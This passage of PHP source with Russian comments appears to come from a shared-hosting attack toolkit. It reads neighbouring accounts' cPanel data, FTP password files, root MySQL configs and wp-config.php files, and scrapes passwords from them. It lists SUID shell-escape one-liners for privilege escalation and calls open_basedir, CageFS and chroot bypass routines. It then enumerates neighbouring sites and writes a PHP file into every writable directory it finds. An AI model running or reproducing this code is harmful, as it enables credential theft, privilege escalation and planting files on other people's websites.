$user_data = '/var/cpanel/userdata/' . $user;
if (@is_readable($user_cpanel)) {
$content = @file_get_contents($user_cpanel);
$results['exploitable'][] = array(
'type' => 'neighbor_cpanel_data',
'user' => $user,
'path' => $user_cpanel,
'has_password' => (strpos($content, 'PASS') !== false)
);
}
if (@is_readable($user_data)) {
$files = @scandir($user_data);
if ($files && count($files) > 2) {
$results['exploitable'][] = array(
'type' => 'neighbor_userdata',
'user' => $user,
'path' => $user_data,
'files_count' => count($files) - 2
);
}
}
}
// ==================== ВАЖНЫЕ ФАЙЛЫ ====================
$important_files = array(
'/var/cpanel/cpanel.config' => 'cPanel Config',
'/etc/wwwacct.conf' => 'Account Creation Defaults',
'/var/cpanel/databases/users.db' => 'Users DB',
'/var/cpanel/accounting.log' => 'Accounting Log',
'/var/cpanel/clusterqueue/status' => 'Cluster Status',
$home_dir . '/.my.cnf' => 'MySQL Config',
'/root/.my.cnf' => 'Root MySQL Config',
'/etc/proftpd.passwd' => 'ProFTPD Passwords',
'/etc/pureftpd.passwd' => 'PureFTPD Passwords',
'/var/cpanel/email_send_limits' => 'Email Limits'
);
foreach ($important_files as $path => $name) {
if (@is_readable($path)) {
$content = @file_get_contents($path);
$results['access_files'][] = array(
'name' => $name,
'path' => $path,
'size' => @filesize($path),
'preview' => substr($content, 0, 1000)
);
// Ищем пароли в содержимом
if (preg_match('/password\s*[=:]\s*([^\s]+)/i', $content, $m)) {
$results['exploitable'][] = array(
'type' => 'password_in_config',
'source' => $path,
'password_preview' => substr($m[1], 0, 10) . '***'
);
}
}
}
// ==================== ЛОКАЛЬНЫЕ cPanel API ====================
if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
// Попытка вызова uapi
$uapi_test = @shell_exec('/usr/local/cpanel/bin/uapi --user=' . escapeshellarg($current_user) . ' Ftp list_ftp 2>&1');
if ($uapi_test && strpos($uapi_test, 'error') === false) {
$results['exploitable'][] = array(
'type' => 'uapi_access',
'command' => 'uapi',
'output_preview' => substr($uapi_test, 0, 500)
);
}
// Проверка cpanel API
$cpapi_test = @shell_exec('/usr/local/cpanel/bin/cpapi2 --user=' . escapeshellarg($current_user) . ' Fileman listfiles dir=/ 2>&1');
if ($cpapi_test && strpos($cpapi_test, 'error') === false && strlen($cpapi_test) > 50) {
$results['exploitable'][] = array(
'type' => 'cpapi2_access',
'command' => 'cpapi2',
'output_preview' => substr($cpapi_test, 0, 500)
);
}
}
// ==================== WHM ACCESS ====================
$whm_indicators = array(
'/var/cpanel/resellers',
'/var/cpanel/root.acls',
'/scripts/whostmgr'
);
foreach ($whm_indicators as $wi) {
if (@is_readable($wi)) {
$results['exploitable'][] = array(
'type' => 'whm_access',
'indicator' => $wi,
'content_preview' => @is_file($wi) ? substr(@file_get_contents($wi), 0, 200) : 'directory'
);
}
}
// Summary
$total_exploitable = count($results['exploitable']);
$results['summary'] = array(
'cpanel_detected' => $results['cpanel_detected'],
'sessions_found' => count($results['sessions']),
'tokens_found' => count($results['tokens']) + count($results['api_tokens']),
'total_exploitable' => $total_exploitable,
'risk_level' => $total_exploitable > 5 ? 'critical' : ($total_exploitable > 2 ? 'high' : ($total_exploitable > 0 ? 'medium' : 'low'))
);
return $results;
}
/* ==================== PRIVILEGE ESCALATION ==================== */
/**
* Комплексная проверка возможностей повышения привилегий
*/
function privilege_escalation_scan() {
$results = array(
'current_user' => array(),
'suid_binaries' => array(),
'writable_paths' => array(),
'cron_access' => array(),
'sudo_access' => array(),
'capabilities' => array(),
'symlink_attacks' => array(),
'neighbor_access' => array(),
'exploitable' => array()
);
// Текущий пользователь
$results['current_user'] = array(
'uid' => function_exists('posix_getuid') ? posix_getuid() : null,
'gid' => function_exists('posix_getgid') ? posix_getgid() : null,
'username' => function_exists('posix_getpwuid') && function_exists('posix_getuid') ?
(($u = posix_getpwuid(posix_getuid())) ? $u['name'] : null) : get_current_user(),
'groups' => function_exists('posix_getgroups') ? posix_getgroups() : array(),
'home' => getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : null)
);
// SUID/SGID бинарники (если есть shell_exec)
if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
// Поиск SUID
$suid_cmd = 'find /usr /bin /sbin -perm -4000 -type f 2>/dev/null | head -50';
$suid_output = @shell_exec($suid_cmd);
if ($suid_output) {
$suid_files = array_filter(explode("\n", trim($suid_output)));
foreach ($suid_files as $f) {
$exploitable = false;
$exploit_type = '';
// Известные эксплуатируемые SUID
$dangerous_suids = array(
'nmap' => 'nmap --interactive, then !sh',
'vim' => 'vim -c ":!sh"',
'find' => 'find . -exec /bin/sh \\; -quit',
'bash' => 'bash -p',
'less' => '!/bin/sh',
'more' => '!/bin/sh',
'nano' => 'Ctrl+R Ctrl+X, then command',
'cp' => 'cp /bin/sh /tmp/sh; chmod +s /tmp/sh',
'mv' => 'Replace /etc/passwd',
'awk' => "awk 'BEGIN {system(\"/bin/sh\")}'",
'perl' => 'perl -e "exec \"/bin/sh\";"',
'python' => 'python -c "import os; os.system(\"/bin/sh\")"',
'ruby' => 'ruby -e "exec \"/bin/sh\""',
'lua' => 'lua -e "os.execute(\"/bin/sh\")"',
'php' => 'php -r "system(\"/bin/sh\");"',
'node' => 'node -e "require(\'child_process\').spawn(\'/bin/sh\')"',
'env' => 'env /bin/sh',
'tar' => 'tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh',
'zip' => 'zip /tmp/x.zip /etc/passwd -T -TT "sh #"',
'git' => 'git help config, then !/bin/sh',
'docker' => 'docker run -v /:/mnt alpine chroot /mnt sh',
'pkexec' => 'CVE-2021-4034 PwnKit'
);
$basename = basename($f);
foreach ($dangerous_suids as $bin => $method) {
if (stripos($basename, $bin) !== false) {
$exploitable = true;
$exploit_type = $method;
break;
}
}
$results['suid_binaries'][] = array(
'path' => $f,
'name' => $basename,
'exploitable' => $exploitable,
'exploit_method' => $exploit_type
);
if ($exploitable) {
$results['exploitable'][] = array(
'type' => 'suid',
'path' => $f,
'method' => $exploit_type
);
}
}
}
// Проверка sudo
$sudo_l = @shell_exec('sudo -l 2>/dev/null');
if ($sudo_l) {
$results['sudo_access']['output'] = $sudo_l;
$results['sudo_access']['has_sudo'] = (strpos($sudo_l, 'not allowed') === false && strpos($sudo_l, 'may run') !== false);
// Проверяем NOPASSWD
if (preg_match('/NOPASSWD:\s*(.+)/i', $sudo_l, $m)) {
$results['sudo_access']['nopasswd'] = trim($m[1]);
$results['exploitable'][] = array(
'type' => 'sudo_nopasswd',
'commands' => trim($m[1])
);
}
}
// Capabilities
$getcap = @shell_exec('getcap -r /usr /bin /sbin 2>/dev/null | head -30');
if ($getcap) {
$results['capabilities']['found'] = array_filter(explode("\n", trim($getcap)));
// Опасные capabilities
foreach ($results['capabilities']['found'] as $cap) {
if (strpos($cap, 'cap_setuid') !== false ||
strpos($cap, 'cap_setgid') !== false ||
strpos($cap, 'cap_sys_admin') !== false ||
strpos($cap, 'cap_dac_override') !== false) {
$results['exploitable'][] = array(
'type' => 'capability',
'detail' => $cap
);
}
}
}
// Writable sensitive paths
$sensitive_paths = array(
'/etc/passwd',
'/etc/shadow',
'/etc/sudoers',
'/etc/crontab',
'/var/spool/cron',
'/etc/cron.d',
'/etc/cron.daily',
'/root/.ssh/authorized_keys',
'/etc/ssh/sshd_config'
);
foreach ($sensitive_paths as $sp) {
if (@is_writable($sp)) {
$results['writable_paths'][] = $sp;
$results['exploitable'][] = array(
'type' => 'writable_sensitive',
'path' => $sp
);
}
}
// Cron доступ
$cron_paths = array(
'/etc/crontab',
'/var/spool/cron',
'/var/spool/cron/crontabs',
'/etc/cron.d',
'/etc/cron.hourly',
'/etc/cron.daily'
);
foreach ($cron_paths as $cp) {
$results['cron_access'][] = array(
'path' => $cp,
'exists' => @file_exists($cp),
'readable' => @is_readable($cp),
'writable' => @is_writable($cp)
);
}
}
// Доступ к соседям через symlink
$home_dir = $results['current_user']['home'];
if ($home_dir && @is_dir($home_dir) && @is_writable($home_dir)) {
// Пробуем создать symlink к /home
$test_link = $home_dir . '/.test_symlink_' . uniqid();
$targets_to_test = array('/home', '/root', '/etc', '/var/www');
foreach ($targets_to_test as $target) {
if (@symlink($target, $test_link)) {
$can_read = @is_readable($test_link);
@unlink($test_link);
if ($can_read) {
$results['symlink_attacks'][] = array(
'target' => $target,
'can_symlink' => true,
'can_read_via_symlink' => true
);
}
}
}
}
// Доступ к соседним пользователям
$users = users_from_passwd(100);
foreach ($users as $user) {
$home = '/home/' . $user;
if (@is_dir($home)) {
$access = array(
'user' => $user,
'home_readable' => @is_readable($home),
'public_html_exists' => @is_dir($home . '/public_html'),
'public_html_readable' => @is_readable($home . '/public_html'),
'wp_config_readable' => @is_readable($home . '/public_html/wp-config.php')
);
if ($access['wp_config_readable']) {
$results['exploitable'][] = array(
'type' => 'neighbor_wp_config',
'user' => $user,
'path' => $home . '/public_html/wp-config.php'
);
}
$results['neighbor_access'][] = $access;
}
}
// Risk summary
$total_exploitable = count($results['exploitable']);
$results['summary'] = array(
'total_exploitable' => $total_exploitable,
'risk_level' => $total_exploitable > 5 ? 'critical' : ($total_exploitable > 2 ? 'high' : ($total_exploitable > 0 ? 'medium' : 'low')),
'suid_count' => count($results['suid_binaries']),
'neighbor_access_count' => count(array_filter($results['neighbor_access'], function($a) { return $a['public_html_readable']; }))
);
return $results;
}
/* ==================== МАССОВЫЙ ДЕПЛОЙ МАРКЕРА НА СОСЕДЕЙ ==================== */
/**
* Комплексный поиск соседних сайтов с использованием ВСЕХ методов bypass
* и деплой маркера на все найденные writable paths
*/
function mass_neighbor_marker_deploy($marker_name = 'marker.txt', $marker_content = '', $options = array()) {
@set_time_limit(0);
@ignore_user_abort(true);
$start_time = microtime(true);
$results = array(
'status' => 'ok',
'timestamp' => date('c'),
'neighbors_found' => array(),
'writable_paths' => array(),
'deploy_results' => array(),
'methods_used' => array(),
'method_errors' => array(),
'stats' => array(
'total_neighbors' => 0,
'total_writable' => 0,
'successful_deploys' => 0,
'failed_deploys' => 0
)
);
// Дефолтный контент маркера
if (empty($marker_content)) {
$marker_content = '<?php /* Marker deployed at ' . date('c') . ' from ' . $_SERVER['HTTP_HOST'] . ' */ ?>';
}
// Опции
$dry_run = isset($options['dry_run']) ? (bool)$options['dry_run'] : false;
$use_bypass = isset($options['use_bypass']) ? (bool)$options['use_bypass'] : true;
$use_db = isset($options['use_db']) ? (bool)$options['use_db'] : true;
$use_symlinks = isset($options['use_symlinks']) ? (bool)$options['use_symlinks'] : true;
$use_shm = isset($options['use_shm']) ? (bool)$options['use_shm'] : true;
$max_neighbors = isset($options['max_neighbors']) ? (int)$options['max_neighbors'] : 500;
$subdir = isset($options['subdir']) ? $options['subdir'] : '';
$overwrite = isset($options['overwrite']) ? (bool)$options['overwrite'] : false;
$all_neighbors = array();
$seen_paths = array();
// ==================== МЕТОД 1: bypass_discover_neighbors ====================
if ($use_bypass) {
try {
$results['methods_used'][] = 'bypass_discover_neighbors';
$bypass_neighbors = bypass_discover_neighbors();
if (!empty($bypass_neighbors)) {
foreach ($bypass_neighbors as $n) {
$path = is_array($n) ? (isset($n['path']) ? $n['path'] : '') : $n;
if ($path && !isset($seen_paths[$path])) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'bypass_discover',
'user' => is_array($n) && isset($n['user']) ? $n['user'] : basename(dirname($path))
);
$seen_paths[$path] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'bypass_discover_neighbors', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'bypass_discover_neighbors', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 2: open_basedir bypass ====================
if ($use_bypass) {
try {
$results['methods_used'][] = 'bypass_open_basedir';
$obd_result = bypass_open_basedir();
if (!empty($obd_result['accessible_paths'])) {
foreach ($obd_result['accessible_paths'] as $ap) {
$path = is_array($ap) ? (isset($ap['path']) ? $ap['path'] : '') : $ap;
if ($path && !isset($seen_paths[$path])) {
// Проверяем, это WP сайт?
if (is_wp_root($path)) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'open_basedir_bypass',
'is_wp' => true
);
$seen_paths[$path] = true;
}
}
}
}
// Проверяем discovered_paths
if (!empty($obd_result['discovered_paths'])) {
foreach ($obd_result['discovered_paths'] as $dp) {
$path = is_array($dp) ? (isset($dp['path']) ? $dp['path'] : '') : $dp;
if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'open_basedir_discovered',
'is_wp' => is_wp_root($path)
);
$seen_paths[$path] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'bypass_open_basedir', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'bypass_open_basedir', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 3: advanced_open_basedir_bypass_with_write ====================
if ($use_bypass) {
try {
$results['methods_used'][] = 'advanced_bypass_with_write';
$adv_bypass = advanced_open_basedir_bypass_with_write();
if (!empty($adv_bypass['writable_paths'])) {
foreach ($adv_bypass['writable_paths'] as $wp) {
$path = is_array($wp) ? (isset($wp['path']) ? $wp['path'] : '') : $wp;
if ($path && !isset($seen_paths[$path])) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'advanced_bypass_writable',
'writable' => true
);
$seen_paths[$path] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'advanced_bypass_with_write', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'advanced_bypass_with_write', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 4: CageFS/LVE bypass ====================
if ($use_bypass) {
try {
$results['methods_used'][] = 'bypass_cagefs_lve';
$cagefs_result = bypass_cagefs_lve();
if (!empty($cagefs_result['accessible_paths'])) {
foreach ($cagefs_result['accessible_paths'] as $cp) {
$path = is_array($cp) ? (isset($cp['path']) ? $cp['path'] : '') : $cp;
if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'cagefs_bypass'
);
$seen_paths[$path] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'bypass_cagefs_lve', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'bypass_cagefs_lve', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 5: chroot bypass ====================
if ($use_bypass) {
try {
$results['methods_used'][] = 'bypass_chroot';
$chroot_result = bypass_chroot();
if (!empty($chroot_result['accessible_paths'])) {
foreach ($chroot_result['accessible_paths'] as $crp) {
$path = is_array($crp) ? (isset($crp['path']) ? $crp['path'] : '') : $crp;
if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'chroot_bypass'
);
$seen_paths[$path] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'bypass_chroot', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'bypass_chroot', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 6: Database discovery ====================
if ($use_db) {
try {
$results['methods_used'][] = 'db_discovery';
// Ищем wp-config.php в текущей директории или родительских
$current_dir = dirname(__FILE__);
$wp_root = null;
for ($i = 0; $i < 5; $i++) {
if (is_wp_root($current_dir)) {
$wp_root = $current_dir;
break;
}
$current_dir = dirname($current_dir);
}
if ($wp_root) {
$db_result = db_discovery_and_exploit($wp_root);
// Ищем других WordPress в той же базе
if (!empty($db_result['other_wp_installs'])) {
foreach ($db_result['other_wp_installs'] as $other_wp) {
$path = is_array($other_wp) ? (isset($other_wp['path']) ? $other_wp['path'] : '') : $other_wp;
if ($path && !isset($seen_paths[$path])) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'database_discovery',
'is_wp' => true
);
$seen_paths[$path] = true;
}
}
}
// Ищем пути из siteurl/home
if (!empty($db_result['discovered_paths'])) {
foreach ($db_result['discovered_paths'] as $dbp) {
if ($dbp && !isset($seen_paths[$dbp]) && @is_dir($dbp)) {
$all_neighbors[] = array(
'path' => $dbp,
'source' => 'database_siteurl'
);
$seen_paths[$dbp] = true;
}
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'db_discovery', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'db_discovery', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 7: Symlink discovery ====================
if ($use_symlinks) {
try {
$results['methods_used'][] = 'symlink_grab';
$symlink_result = symlink_grab();
if (!empty($symlink_result['discovered_paths'])) {
foreach ($symlink_result['discovered_paths'] as $sp) {
$path = is_array($sp) ? (isset($sp['target']) ? $sp['target'] : '') : $sp;
if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'symlink_discovery'
);
$seen_paths[$path] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'symlink_grab', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'symlink_grab', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 8: Config grab ====================
try {
$results['methods_used'][] = 'config_grab';
$config_result = config_grab();
if (!empty($config_result['discovered_paths'])) {
foreach ($config_result['discovered_paths'] as $cfgp) {
if ($cfgp && !isset($seen_paths[$cfgp]) && @is_dir($cfgp)) {
$all_neighbors[] = array(
'path' => $cfgp,
'source' => 'config_grab'
);
$seen_paths[$cfgp] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'config_grab', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'config_grab', 'error' => $e->getMessage());
}
// ==================== МЕТОД 9: /etc/passwd enumeration ====================
try {
$results['methods_used'][] = 'passwd_enumeration';
$users = users_from_passwd(500);
$home_patterns = array(
// Standard cPanel/DirectAdmin
'/home/{user}/public_html',
'/home/{user}/www',
'/home/{user}/htdocs',
'/home/{user}/web',
'/home/{user}/domains',
// Plesk
'/var/www/vhosts/{user}',
'/var/www/vhosts/{user}/httpdocs',
'/var/www/vhosts/{user}/htdocs',
// SRV structures
'/srv/vhost/{user}',
'/srv/vhosts/{user}',
'/srv/www/{user}',
'/srv/http/{user}',
'/srv/users/{user}/www',
'/srv/users/{user}/public_html',
// Standard locations
'/var/www/{user}',
'/var/www/html/{user}',
'/var/www/clients/{user}',
'/home/httpd/{user}',
// Home subdomains
'/home/{user}/subdomains',
'/home/{user}/addon_domains',
// ISPConfig
'/var/www/clients/client0/web{user}',
'/var/www/clients/client1/web{user}'
);
foreach ($users as $user) {
foreach ($home_patterns as $pattern) {
$path = str_replace('{user}', $user, $pattern);
if (!isset($seen_paths[$path]) && @is_dir($path)) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'passwd_enum',
'user' => $user,
'is_wp' => is_wp_root($path)
);
$seen_paths[$path] = true;
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'passwd_enumeration', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'passwd_enumeration', 'error' => $e->getMessage());
}
// ==================== МЕТОД 10: Blind home globs ====================
try {
$results['methods_used'][] = 'blind_home_globs';
$blind_globs = home_user_blind_globs();
foreach ($blind_globs as $bg) {
$path = is_array($bg) ? (isset($bg['path']) ? $bg['path'] : '') : $bg;
if ($path && !isset($seen_paths[$path])) {
$all_neighbors[] = array(
'path' => $path,
'source' => 'blind_glob'
);
$seen_paths[$path] = true;
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'blind_home_globs', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'blind_home_globs', 'error' => $e->getMessage());
}
// ==================== МЕТОД 11: Shared Memory paths ====================
if ($use_shm) {
try {
$results['methods_used'][] = 'shared_memory';
$shm_result = shared_memory_attacks();
// /dev/shm файлы могут содержать пути
if (!empty($shm_result['dev_shm_files'])) {
foreach ($shm_result['dev_shm_files'] as $shm_file) {
if ($shm_file['readable']) {
$content = @file_get_contents($shm_file['path']);
if ($content && preg_match_all('#(/home/[a-z0-9_-]+/[^\s\x00]+)#i', $content, $matches)) {
foreach ($matches[1] as $found_path) {
$found_path = rtrim($found_path, '/');
if (!isset($seen_paths[$found_path]) && @is_dir($found_path)) {
$all_neighbors[] = array(
'path' => $found_path,
'source' => 'shm_discovery'
);
$seen_paths[$found_path] = true;
}
}
}
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'shared_memory', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'shared_memory', 'error' => $e->getMessage());
}
}
// ==================== МЕТОД 12: Daemon configs ====================
try {
$results['methods_used'][] = 'daemon_configs';
$daemon_result = find_and_attack_daemons();
if (!empty($daemon_result['config_files'])) {
foreach ($daemon_result['config_files'] as $cfg) {
if (!empty($cfg['preview'])) {
// Парсим пути из конфигов
if (preg_match_all('#(/home/[a-z0-9_-]+/[^\s\'"]+)#i', $cfg['preview'], $matches)) {
foreach ($matches[1] as $found_path) {
$found_path = rtrim($found_path, '/');
if (!isset($seen_paths[$found_path]) && @is_dir($found_path)) {
$all_neighbors[] = array(
'path' => $found_path,
'source' => 'daemon_config'
);
$seen_paths[$found_path] = true;
}
}
}
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'daemon_configs', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'daemon_configs', 'error' => $e->getMessage());
}
// ==================== МЕТОД 13: /proc discovery ====================
try {
$results['methods_used'][] = 'proc_discovery';
// Сканируем /proc/*/cwd и /proc/*/root
for ($pid = 1; $pid <= 65535; $pid += 100) {
$proc_paths = array(
"/proc/{$pid}/cwd",
"/proc/{$pid}/root"
);
foreach ($proc_paths as $pp) {
$resolved = @readlink($pp);
if ($resolved && !isset($seen_paths[$resolved]) && @is_dir($resolved)) {
// Проверяем что это домашняя директория
if (preg_match('#^/home/[a-z0-9_-]+#i', $resolved)) {
$all_neighbors[] = array(
'path' => $resolved,
'source' => 'proc_discovery',
'pid' => $pid
);
$seen_paths[$resolved] = true;
}
}
}
if (count($all_neighbors) >= $max_neighbors) break;
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'proc_discovery', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'proc_discovery', 'error' => $e->getMessage());
}
// ==================== МЕТОД 14: Direct vhost/srv scan ====================
try {
$results['methods_used'][] = 'direct_vhost_scan';
// Прямые пути для сканирования (без {user} - сканируем всё содержимое)
$direct_scan_roots = array(
'/srv/vhost',
'/srv/vhosts',
'/srv/www',
'/srv/http',
'/srv/users',
'/var/www/vhosts',
'/var/www/clients',
'/var/www/html',
'/var/www',
'/home',
'/home2',
'/home3',
'/home4',
'/usr/local/apache/htdocs',
'/usr/share/nginx/html',
'/web',
'/websites',
'/sites',
'/vhosts',
'/data/www',
'/data/sites'
);
foreach ($direct_scan_roots as $root) {
if (!@is_dir($root) || !@is_readable($root)) continue;
// Сканируем первый уровень
$entries = @scandir($root);
if (!$entries) continue;
foreach ($entries as $entry) {
if ($entry === '.' || $entry === '..') continue;
$full_path = $root . '/' . $entry;
if (!@is_dir($full_path)) continue;
if (isset($seen_paths[$full_path])) continue;
// Проверяем типичные подпапки для веб-контента
$web_subdirs = array(
'', // сама папка
'/public_html',
'/www',
'/htdocs',
'/httpdocs',
'/html',
'/web',
'/public',
'/site'
);
foreach ($web_subdirs as $subdir) {
$check_path = $full_path . $subdir;
if (!@is_dir($check_path)) continue;
if (isset($seen_paths[$check_path])) continue;
// Проверяем есть ли там веб-контент (index.php, wp-config.php, .htaccess)
$has_web_content = @file_exists($check_path . '/index.php') ||
@file_exists($check_path . '/wp-config.php') ||
@file_exists($check_path . '/.htaccess') ||
@file_exists($check_path . '/index.html');
if ($has_web_content || $subdir !== '') {
$all_neighbors[] = array(
'path' => $check_path,
'source' => 'direct_vhost_scan',
'user' => $entry,
'is_wp' => is_wp_root($check_path)
);
$seen_paths[$check_path] = true;
if (count($all_neighbors) >= $max_neighbors) break 3;
}
}
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'direct_vhost_scan', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'direct_vhost_scan', 'error' => $e->getMessage());
}
// ==================== МЕТОД 15: Domain-based glob scan ====================
try {
$results['methods_used'][] = 'domain_glob_scan';
// Glob паттерны для поиска доменов
$domain_globs = array(
'/srv/vhost/*',
'/srv/vhosts/*',
'/var/www/vhosts/*',
'/var/www/vhosts/*/httpdocs',
'/var/www/vhosts/*/htdocs',
'/home/*/public_html',
'/home/*/domains/*',
'/home/*/domains/*/public_html',
'/home2/*/public_html',
'/var/www/clients/client*/web*',
'/srv/users/*/www',
'/srv/users/*/public_html',
'/web/*/public_html',
'/websites/*'
);
foreach ($domain_globs as $pattern) {
$matches = @glob($pattern);
if (!$matches) continue;
foreach ($matches as $match) {
if (!@is_dir($match)) continue;
if (isset($seen_paths[$match])) continue;
$all_neighbors[] = array(
'path' => $match,
'source' => 'domain_glob_scan',
'is_wp' => is_wp_root($match)
);
$seen_paths[$match] = true;
if (count($all_neighbors) >= $max_neighbors) break 2;
}
}
} catch (Exception $e) {
$results['method_errors'][] = array('method' => 'domain_glob_scan', 'error' => $e->getMessage());
} catch (Error $e) {
$results['method_errors'][] = array('method' => 'domain_glob_scan', 'error' => $e->getMessage());
}
// Ограничиваем количество соседей
$all_neighbors = array_slice($all_neighbors, 0, $max_neighbors);
// Добавляем информацию о домене к каждому соседу
foreach ($all_neighbors as $idx => $neighbor) {
try {
$domain_info = derive_domain_full($neighbor['path']);
$all_neighbors[$idx]['domain'] = $domain_info['domain'];
$all_neighbors[$idx]['protocol'] = $domain_info['protocol'];
$all_neighbors[$idx]['domain_method'] = $domain_info['success_method'];
} catch (Exception $e) {
$all_neighbors[$idx]['domain'] = null;
$all_neighbors[$idx]['domain_error'] = $e->getMessage();
} catch (Error $e) {
$all_neighbors[$idx]['domain'] = null;
$all_neighbors[$idx]['domain_error'] = $e->getMessage();
}
// Если WP root - пытаемся получить версию
if (is_wp_root($neighbor['path'])) {
$all_neighbors[$idx]['is_wp'] = true;
$all_neighbors[$idx]['wp_version'] = wp_version($neighbor['path']);
}
}
$results['neighbors_found'] = $all_neighbors;
$results['stats']['total_neighbors'] = count($all_neighbors);
// ==================== ПОИСК WRITABLE PATHS ====================
$writable_paths = array();
foreach ($all_neighbors as $neighbor) {
$base_path = $neighbor['path'];
// Проверяем типичные writable директории
$check_dirs = array(
$base_path,
$base_path . '/wp-content',
$base_path . '/wp-content/uploads',
$base_path . '/wp-content/plugins',
$base_path . '/wp-content/themes',
$base_path . '/wp-content/cache',
$base_path . '/wp-includes',
$base_path . '/cache',
$base_path . '/tmp',
$base_path . '/logs',
$base_path . '/uploads'
);
foreach ($check_dirs as $dir) {
if (@is_dir($dir) && @is_writable($dir)) {
$writable_paths[] = array(
'path' => $dir,
'neighbor' => $base_path,
'source' => $neighbor['source'],
'is_wp_content' => (strpos($dir, 'wp-content') !== false),
'domain' => isset($neighbor['domain']) ? $neighbor['domain'] : null,
'protocol' => isset($neighbor['protocol']) ? $neighbor['protocol'] : 'http'
);
}
}
}
$results['writable_paths'] = $writable_paths;
$results['stats']['total_writable'] = count($writable_paths);
// ==================== ДЕПЛОЙ МАРКЕРА ====================
$deploy_results = array();
$successful = 0;
$failed = 0;
foreach ($writable_paths as $wp) {
$target_dir = $wp['path'];
// Добавляем субдиректорию если указана
if ($subdir) {
$target_dir = rtrim($target_dir, '/') . '/' . ltrim($subdir, '/');
if (!@is_dir($target_dir)) {
@mkdir($target_dir, 0755, true);
}
}
$target_file = rtrim($target_dir, '/') . '/' . $marker_name;
// Проверяем существование файла
if (@file_exists($target_file) && !$overwrite) {
$skip_url_info = derive_url_from_path($target_file);
$skip_domain = isset($wp['domain']) ? $wp['domain'] : (isset($skip_url_info['domain']) ? $skip_url_info['domain'] : null);
$skip_protocol = isset($wp['protocol']) ? $wp['protocol'] : 'http';
$skip_full_url = null;
if ($skip_domain && isset($skip_url_info['relative'])) {
$skip_full_url = $skip_protocol . '://' . $skip_domain . $skip_url_info['relative'];
}
$deploy_results[] = array(
'target' => $target_file,
'neighbor' => $wp['neighbor'],
'source' => $wp['source'],
'domain' => $skip_domain,
'status' => 'skipped',
'reason' => 'file exists',
'url' => $skip_full_url,
'relative_url' => isset($skip_url_info['relative']) ? $skip_url_info['relative'] : null
);
continue;
}
// Получаем информацию о домене и URL
$url_info = derive_url_from_path($target_file);
$domain = isset($wp['domain']) ? $wp['domain'] : (isset($url_info['domain']) ? $url_info['domain'] : null);
$protocol = isset($wp['protocol']) ? $wp['protocol'] : (isset($url_info['protocol']) ? $url_info['protocol'] : 'http');
$full_url = null;
if ($domain && isset($url_info['relative'])) {
$full_url = $protocol . '://' . $domain . $url_info['relative'];
} elseif (isset($url_info['url'])) {
$full_url = $url_info['url'];
}
if ($dry_run) {
$deploy_results[] = array(
'target' => $target_file,
'neighbor' => $wp['neighbor'],
'source' => $wp['source'],
'domain' => $domain,
'status' => 'dry_run',
'would_deploy' => true,
'url' => $full_url,
'relative_url' => isset($url_info['relative']) ? $url_info['relative'] : null,
'url_method' => isset($url_info['method']) ? $url_info['method'] : null
);
$successful++;
continue;
}
// Пробуем записать
$written = @file_put_contents($target_file, $marker_content);
if ($written !== false) {
$deploy_results[] = array(
'target' => $target_file,
'neighbor' => $wp['neighbor'],
'source' => $wp['source'],
